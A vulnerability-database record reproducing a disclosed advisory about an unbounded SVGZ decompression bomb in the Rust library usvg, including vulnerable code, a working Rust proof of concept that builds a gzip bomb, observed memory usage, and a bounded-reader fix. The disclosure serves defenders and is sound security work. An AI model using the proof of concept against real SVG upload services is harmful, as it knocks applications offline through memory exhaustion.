GCVE-1988-2026-0439
Vulnerability from gna-1988 – Published: 2026-10-02 04:57 – Updated: 2026-10-02 04:57
VLAI
EPSS
VEX
Title
usvg SVGZ decompression bomb in `Tree::from_data`
Summary
# usvg SVGZ decompression bomb in `Tree::from_data`
**Author:** Khashayar Fereidani
**Disclosure Date:** 2026-09-18
**Advisory:** https://fereidani.com/usvg-svgz-decompression-bomb-in-treefromdata
**Contact:** https://fereidani.com/contact
## Description
`Tree::from_data` in `crates/usvg/src/parser/mod.rs:102` detects the gzip magic
bytes at the start of the input and decompresses the data before parsing it:
```rust
// crates/usvg/src/parser/mod.rs:109
let data = decompress_svgz(data)?;
let text = std::str::from_utf8(&data).map_err(|_| Error::NotAnUtf8Str)?;
Self::from_str(text, opt)
```
```rust
// crates/usvg/src/parser/mod.rs:180
pub fn decompress_svgz(data: &[u8]) -> Result<Vec<u8>, Error> {
use std::io::Read;
let mut decoder = flate2::read::GzDecoder::new(data);
let mut decoded = Vec::with_capacity(data.len() * 2);
decoder
.read_to_end(&mut decoded)
.map_err(|_| Error::MalformedGZip)?;
Ok(decoded)
}
```
`read_to_end` grows `decoded` with no cap on the output size, and the whole
buffer is materialized before `from_str` reads the first byte. The attacker
fully controls the expansion ratio, since gzip reaches roughly 1000:1, so the
size of the input places no bound on the size of the allocation. A payload of
a few hundred kilobytes can request several gigabytes of memory, and the parse
error only fires after the entire bomb is already in memory.
## Proof of concept
Create a new project with `flate2` and `usvg`:
```toml
[dependencies]
flate2 = "1"
usvg = "0.48"
```
Build a gzip bomb of the desired size and hand it to `Tree::from_data`:
```rust
use flate2::write::GzEncoder;
use flate2::Compression;
use std::io::Write;
fn main() {
let mib: usize = std::env::args()
.nth(1)
.and_then(|s| s.parse().ok())
.unwrap_or(256);
let mut enc = GzEncoder::new(Vec::new(), Compression::best());
let chunk = [0u8; 65536];
for _ in 0..(mib << 20) / 65536 {
enc.write_all(&chunk).unwrap();
}
let bomb = enc.finish().unwrap();
println!("svgz input {} bytes, expands to {mib} MiB", bomb.len());
match usvg::Tree::from_data(&bomb, &usvg::Options::default()) {
Ok(_) => println!("parsed"),
Err(e) => println!("parse error after full decompression: {e:?}"),
}
}
```
Run with `cargo run --release 4096`. Observed output:
```text
svgz input 4171638 bytes, expands to 4096 MiB
parse error after full decompression:
ParsingFailed(UnknownToken(TextPos { row: 1, col: 1 }))
```
Peak process RSS was 4,201,816 kB (about 4.0 GiB) from a 4 MB input. The
decompression happens before any validation, so the bytes do not even need to
be a valid SVG.
## Impact
Decompression bomb causing memory exhaustion and an OOM kill, denying service
to any application that passes attacker-controlled SVG bytes to
`usvg::Tree::from_data`. The `svgz` feature is enabled by default, and SVG
upload or conversion endpoints that use usvg are typically reachable before
authentication.
## Solution
Bound the decompressed output inside `decompress_svgz` instead of trusting the
compressed input. Read through `io::Take` with a limit one byte above the
cap, so a stream that reaches the limit can be rejected instead of silently
truncated:
```rust
const MAX_SVGZ_SIZE: u64 = 256 * 1024 * 1024;
let mut decoder = flate2::read::GzDecoder::new(data);
let mut decoded = Vec::with_capacity(data.len() * 2);
decoder
.take(MAX_SVGZ_SIZE + 1)
.read_to_end(&mut decoded)
.map_err(|_| Error::MalformedGZip)?;
if decoded.len() as u64 > MAX_SVGZ_SIZE {
return Err(Error::MalformedGZip);
}
```
Comparable libraries bound the decompressed or parsed output inside the
library itself:
- Node.js `zlib` caps one-shot decompression output via the `maxOutputLength`
option (added in v12.19.0 and v14.5.0).
- Python Pillow caps decoded pixels at `ImageFile.MAX_IMAGE_PIXELS`, default
89,478,485 pixels (about a quarter GiB of 24-bit pixels), and raises
`DecompressionBombWarning` / `DecompressionBombError` beyond it.
- libpng applies default dimension limits of 1,000,000 x 1,000,000 plus
`png_set_chunk_malloc_max` for bounded allocation.
- librsvg documents no built-in memory or CPU limits and pushes bounding to
the caller, but still caps parsed XML elements at 1 million. usvg applies
neither an output-size cap nor an element cap.
Until a fix lands, applications can disable the `svgz` feature and decompress
uploaded files themselves with a bounded reader, calling `Tree::from_str` on
the verified plain SVG text.
## Timeline
- 2026-08-25: Vulnerability reported privately to the maintainer.
- 2026-09-24: No response received; public disclosure. usvg 0.48.1 and the
current main branch are still affected.
## References
- [linebender/resvg -
crates/usvg/src/parser/mod.rs](https://github.com/linebender/resvg/blob/main/crates/usvg/src/parser/mod.rs)
- [Node.js zlib `maxOutputLength`](https://nodejs.org/api/zlib.html)
- [Pillow `ImageFile.MAX_IMAGE_PIXELS`](https://pillow.readthedocs.io/en/stable/reference/ImageFile.html)
- [CWE-409: Improper Handling of Highly Compressed Data (Data
Amplification)](https://cwe.mitre.org/data/definitions/409.html)
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
References
10 references
Impacted products
1 product
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| unknown | usvg SVGZ decompression |
Affected:
unknown
|
guessed |
{
"containers": {
"cna": {
"affected": [
{
"product": "usvg SVGZ decompression",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Khashayar Fereidani"
}
],
"descriptions": [
{
"lang": "en",
"value": "# usvg SVGZ decompression bomb in `Tree::from_data`\n\n**Author:** Khashayar Fereidani\n**Disclosure Date:** 2026-09-18\n**Advisory:** https://fereidani.com/usvg-svgz-decompression-bomb-in-treefromdata\n**Contact:** https://fereidani.com/contact\n\n## Description\n\n`Tree::from_data` in `crates/usvg/src/parser/mod.rs:102` detects the gzip magic\nbytes at the start of the input and decompresses the data before parsing it:\n\n```rust\n// crates/usvg/src/parser/mod.rs:109\nlet data = decompress_svgz(data)?;\nlet text = std::str::from_utf8(\u0026data).map_err(|_| Error::NotAnUtf8Str)?;\nSelf::from_str(text, opt)\n```\n\n```rust\n// crates/usvg/src/parser/mod.rs:180\npub fn decompress_svgz(data: \u0026[u8]) -\u003e Result\u003cVec\u003cu8\u003e, Error\u003e {\n use std::io::Read;\n\n let mut decoder = flate2::read::GzDecoder::new(data);\n let mut decoded = Vec::with_capacity(data.len() * 2);\n decoder\n .read_to_end(\u0026mut decoded)\n .map_err(|_| Error::MalformedGZip)?;\n Ok(decoded)\n}\n```\n\n`read_to_end` grows `decoded` with no cap on the output size, and the whole\nbuffer is materialized before `from_str` reads the first byte. The attacker\nfully controls the expansion ratio, since gzip reaches roughly 1000:1, so the\nsize of the input places no bound on the size of the allocation. A payload of\na few hundred kilobytes can request several gigabytes of memory, and the parse\nerror only fires after the entire bomb is already in memory.\n\n## Proof of concept\n\nCreate a new project with `flate2` and `usvg`:\n\n```toml\n[dependencies]\nflate2 = \"1\"\nusvg = \"0.48\"\n```\n\nBuild a gzip bomb of the desired size and hand it to `Tree::from_data`:\n\n```rust\nuse flate2::write::GzEncoder;\nuse flate2::Compression;\nuse std::io::Write;\n\nfn main() {\n let mib: usize = std::env::args()\n .nth(1)\n .and_then(|s| s.parse().ok())\n .unwrap_or(256);\n let mut enc = GzEncoder::new(Vec::new(), Compression::best());\n let chunk = [0u8; 65536];\n for _ in 0..(mib \u003c\u003c 20) / 65536 {\n enc.write_all(\u0026chunk).unwrap();\n }\n let bomb = enc.finish().unwrap();\n println!(\"svgz input {} bytes, expands to {mib} MiB\", bomb.len());\n match usvg::Tree::from_data(\u0026bomb, \u0026usvg::Options::default()) {\n Ok(_) =\u003e println!(\"parsed\"),\n Err(e) =\u003e println!(\"parse error after full decompression: {e:?}\"),\n }\n}\n```\n\nRun with `cargo run --release 4096`. Observed output:\n\n```text\nsvgz input 4171638 bytes, expands to 4096 MiB\nparse error after full decompression:\nParsingFailed(UnknownToken(TextPos { row: 1, col: 1 }))\n```\n\nPeak process RSS was 4,201,816 kB (about 4.0 GiB) from a 4 MB input. The\ndecompression happens before any validation, so the bytes do not even need to\nbe a valid SVG.\n\n## Impact\n\nDecompression bomb causing memory exhaustion and an OOM kill, denying service\nto any application that passes attacker-controlled SVG bytes to\n`usvg::Tree::from_data`. The `svgz` feature is enabled by default, and SVG\nupload or conversion endpoints that use usvg are typically reachable before\nauthentication.\n\n## Solution\n\nBound the decompressed output inside `decompress_svgz` instead of trusting the\ncompressed input. Read through `io::Take` with a limit one byte above the\ncap, so a stream that reaches the limit can be rejected instead of silently\ntruncated:\n\n```rust\nconst MAX_SVGZ_SIZE: u64 = 256 * 1024 * 1024;\n\nlet mut decoder = flate2::read::GzDecoder::new(data);\nlet mut decoded = Vec::with_capacity(data.len() * 2);\ndecoder\n .take(MAX_SVGZ_SIZE + 1)\n .read_to_end(\u0026mut decoded)\n .map_err(|_| Error::MalformedGZip)?;\nif decoded.len() as u64 \u003e MAX_SVGZ_SIZE {\n return Err(Error::MalformedGZip);\n}\n```\n\nComparable libraries bound the decompressed or parsed output inside the\nlibrary itself:\n\n- Node.js `zlib` caps one-shot decompression output via the `maxOutputLength`\n option (added in v12.19.0 and v14.5.0).\n- Python Pillow caps decoded pixels at `ImageFile.MAX_IMAGE_PIXELS`, default\n 89,478,485 pixels (about a quarter GiB of 24-bit pixels), and raises\n `DecompressionBombWarning` / `DecompressionBombError` beyond it.\n- libpng applies default dimension limits of 1,000,000 x 1,000,000 plus\n `png_set_chunk_malloc_max` for bounded allocation.\n- librsvg documents no built-in memory or CPU limits and pushes bounding to\n the caller, but still caps parsed XML elements at 1 million. usvg applies\n neither an output-size cap nor an element cap.\n\nUntil a fix lands, applications can disable the `svgz` feature and decompress\nuploaded files themselves with a bounded reader, calling `Tree::from_str` on\nthe verified plain SVG text.\n\n## Timeline\n\n- 2026-08-25: Vulnerability reported privately to the maintainer.\n- 2026-09-24: No response received; public disclosure. usvg 0.48.1 and the\n current main branch are still affected.\n\n## References\n\n- [linebender/resvg -\ncrates/usvg/src/parser/mod.rs](https://github.com/linebender/resvg/blob/main/crates/usvg/src/parser/mod.rs)\n- [Node.js zlib `maxOutputLength`](https://nodejs.org/api/zlib.html)\n- [Pillow `ImageFile.MAX_IMAGE_PIXELS`](https://pillow.readthedocs.io/en/stable/reference/ImageFile.html)\n- [CWE-409: Improper Handling of Highly Compressed Data (Data\nAmplification)](https://cwe.mitre.org/data/definitions/409.html)\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-409",
"description": "CWE-409",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-02T04:57:34Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/73"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/73"
},
{
"url": "https://cwe.mitre.org/data/definitions/409.html"
},
{
"url": "https://fereidani.com/contact"
},
{
"url": "https://fereidani.com/usvg-svgz-decompression-bomb-in-treefromdata"
},
{
"url": "https://github.com/linebender/resvg/blob/main/crates/usvg/src/parser/mod.rs"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://nodejs.org/api/zlib.html"
},
{
"url": "https://pillow.readthedocs.io/en/stable/reference/ImageFile.html"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/73"
],
"discovery": "EXTERNAL"
},
"title": "usvg SVGZ decompression bomb in `Tree::from_data`",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0439",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/73",
"automated": true,
"contentSha256": "bc3fffb52ec3a509c1ebe187ebeae6c0aff0f3beeefa42a5f6ed06d814f1027c",
"evidenceScore": 10,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/73",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-09-23T22:03:22Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-10-02T04:57:34Z",
"dateUpdated": "2026-10-02T04:57:34Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0439"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Loading…
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.
Loading…